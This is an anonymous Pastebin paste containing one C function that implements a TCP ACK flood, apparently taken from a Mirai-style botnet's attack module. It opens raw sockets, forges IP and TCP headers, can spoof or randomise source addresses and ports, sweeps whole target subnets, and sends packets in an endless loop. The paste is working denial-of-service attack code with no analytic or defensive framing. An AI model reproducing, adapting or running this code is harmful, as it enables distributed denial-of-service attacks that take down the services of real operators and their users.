Ledger Nano X - The secure hardware wallet
SHARE
TWEET

Untitled

a guest Mar 29th, 2020 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. void flood_tcp_gack(struct arguments *args)
  2. {
  3.     DEBUG_PRINT("ACKFLOOD!\n");
  4.  
  5.     int x = 0;
  6.     int i = 0;
  7.     uint16_t size = 0;
  8.     uint16_t port = 0;
  9.     uint8_t ttl = 0;
  10.     uint16_t source_port = 0;
  11.     char **data;
  12.     char ack = FALSE;
  13.     char fin = FALSE;
  14.     char urg = FALSE;
  15.     char psh = FALSE;
  16.     char rst = FALSE;
  17.     char syn = FALSE;
  18.     uint8_t tos = 0;
  19.     uint16_t id = 0;
  20.     uint32_t sequence = 0;
  21.     uint32_t source_ip = 0;
  22.     uint32_t ack_sequence = 0;
  23.     char *domain;
  24.     int *fds;
  25.  
  26.     size = retrieve_opt_num(args->options, args->num_of_flags, OPT_SIZE, 1400);
  27.     port = retrieve_opt_num(args->options, args->num_of_flags, OPT_PORT, 0xffff);
  28.     ttl = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_TTL, 0xff);
  29.     source_port = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SOURCE_PORT, 0xffff);
  30.     ack = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ACK, TRUE);
  31.     fin = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_FIN, FALSE);
  32.     urg = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_URG, FALSE);
  33.     psh = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_PSH, FALSE);
  34.     rst = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_RST, FALSE);
  35.     syn = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SYN, FALSE);
  36.     tos = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_TOS, 0);
  37.     id = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ID, 0xffff);
  38.     sequence = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_SEQUENCE, 0xffff);
  39.     source_ip = retrieve_opt_ipv4(args->options, args->num_of_flags, OPT_TCP_SOURCE_IP, LOCAL_ADDRESS);
  40.     ack_sequence = retrieve_opt_num(args->options, args->num_of_flags, OPT_TCP_ACK_SEQUENCE, 0xffff);
  41.     domain = retrieve_opt_str(args->options, args->num_of_flags, OPT_DOMAIN, NULL);
  42.  
  43.     data = (char **)calloc(args->num_of_targets, sizeof(char *));
  44.     if(!data)
  45.     {
  46.         DEBUG_PRINT("Failed to allocate data to initialize the TCP ACK flood\n");
  47.         exit(1);
  48.     }
  49.  
  50.     fds = (int *)calloc(args->num_of_targets, sizeof(int));
  51.     if(!fds)
  52.     {
  53.         exit(1);
  54.     }
  55.  
  56.     for(x = 0; x < args->num_of_targets; x++)
  57.     {
  58.         struct iphdr *ip_header;
  59.         struct tcphdr *tcp_header;
  60.         char *a;
  61.  
  62.         fds[x] = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  63.         if(fds[x] == -1)
  64.         {
  65.             DEBUG_PRINT("Failed to create the TCP socket for the flood!\n");
  66.             free(data);
  67.             exit(1);
  68.         }
  69.  
  70.         i = 1;
  71.         if(setsockopt(fds[x], IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1)
  72.         {
  73.             DEBUG_PRINT("Failed to set IP_HDRINCL for the TCP flood\n");
  74.             free(data);
  75.             exit(1);
  76.         }
  77.  
  78.         data[x] = (char *)malloc(size + 110);
  79.         if(!data[x])
  80.         {
  81.             DEBUG_PRINT("Failed to allocate memory for the TCP flood\n");
  82.             free(data);
  83.             exit(1);
  84.         }
  85.  
  86.         ip_header = (struct iphdr *)data[x];
  87.         tcp_header = (struct tcphdr *)(ip_header + 1);
  88.         a = (char *)(tcp_header + 1);
  89.  
  90.         // IPv4
  91.         ip_header->version = 4;
  92.         ip_header->tos = tos;
  93.         ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + size);
  94.         ip_header->ihl = 5;
  95.         ip_header->frag_off = 0;
  96.         ip_header->ttl = ttl;
  97.         ip_header->id = htons(id);
  98.         ip_header->protocol = IPPROTO_TCP;
  99.         ip_header->saddr = source_ip;
  100.         ip_header->daddr = args->targets[x].host;
  101.  
  102.         tcp_header->dest = htons(port);
  103.         tcp_header->source = htons(source_port);
  104.         tcp_header->seq = htons(sequence);
  105.         tcp_header->doff = 5;
  106.         // Set the flag respectively
  107.         tcp_header->ack = ack;
  108.         tcp_header->fin = fin;
  109.         tcp_header->urg = urg;
  110.         tcp_header->psh = psh;
  111.         tcp_header->rst = rst;
  112.         tcp_header->syn = syn;
  113.         tcp_header->window = rand_new() & 0xffff;
  114.         tcp_header->ack_seq = htons(ack_sequence);
  115.  
  116.         rand_string(a, size);
  117.     }
  118.  
  119.     while(TRUE)
  120.     {
  121.         for(x = 0; x < args->num_of_targets; x++)
  122.         {
  123.             struct iphdr *ip_header;
  124.             struct tcphdr *tcp_header;
  125.             struct sockaddr_in addr;
  126.  
  127.             ip_header = (struct iphdr *)data[x];
  128.             tcp_header = (struct tcphdr *)(ip_header + 1);
  129.  
  130.             if(args->targets[x].netmask < 32)
  131.                 ip_header->daddr = htonl(ntohl(ip_header->daddr) + (((uint32_t)rand_new()) >> args->targets[x].netmask));
  132.  
  133.             // Specified a random source address
  134.             if(ip_header->saddr == 0xffffffff)
  135.                 ip_header->saddr = rand_new() & 0xffffffff;
  136.  
  137.             // Update the IP header
  138.             if(ip_header->id == 0xffff)
  139.                 ip_header->id = rand_new() & 0xffff;
  140.  
  141.             // Update the TCP header
  142.             if(tcp_header->dest == 0xffff)
  143.                 tcp_header->dest = rand_new() & 0xffff;
  144.  
  145.             if(tcp_header->source == 0xffff)
  146.                 tcp_header->source = rand_new() & 0xffff;
  147.  
  148.             if(tcp_header->seq == 0xffff)
  149.                 tcp_header->seq = rand_new() & 0xffff;
  150.  
  151.             if(tcp_header->ack_seq == 0xffff)
  152.                 tcp_header->ack_seq = rand_new() & 0xffff;
  153.  
  154.             // IP header checksum
  155.             ip_header->check = 0;
  156.             ip_header->check = ip_header_checksum((uint16_t *)ip_header, sizeof(struct iphdr));
  157.  
  158.             // TCP header checksum
  159.             tcp_header->check = 0;
  160.             tcp_header->check = tcp_udp_header_checksum(ip_header, tcp_header, htons(sizeof(struct tcphdr) + size), sizeof(struct tcphdr) + size);
  161.  
  162.             // Set the addr
  163.             addr.sin_family = AF_INET;
  164.             addr.sin_port = tcp_header->dest;
  165.             addr.sin_addr.s_addr = ip_header->daddr;
  166.  
  167.             sendto(fds[x], data[x], sizeof(struct iphdr) + sizeof(struct tcphdr) + size, MSG_NOSIGNAL, (struct sockaddr *)&addr, sizeof(addr));
  168.         }
  169.     }
  170. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top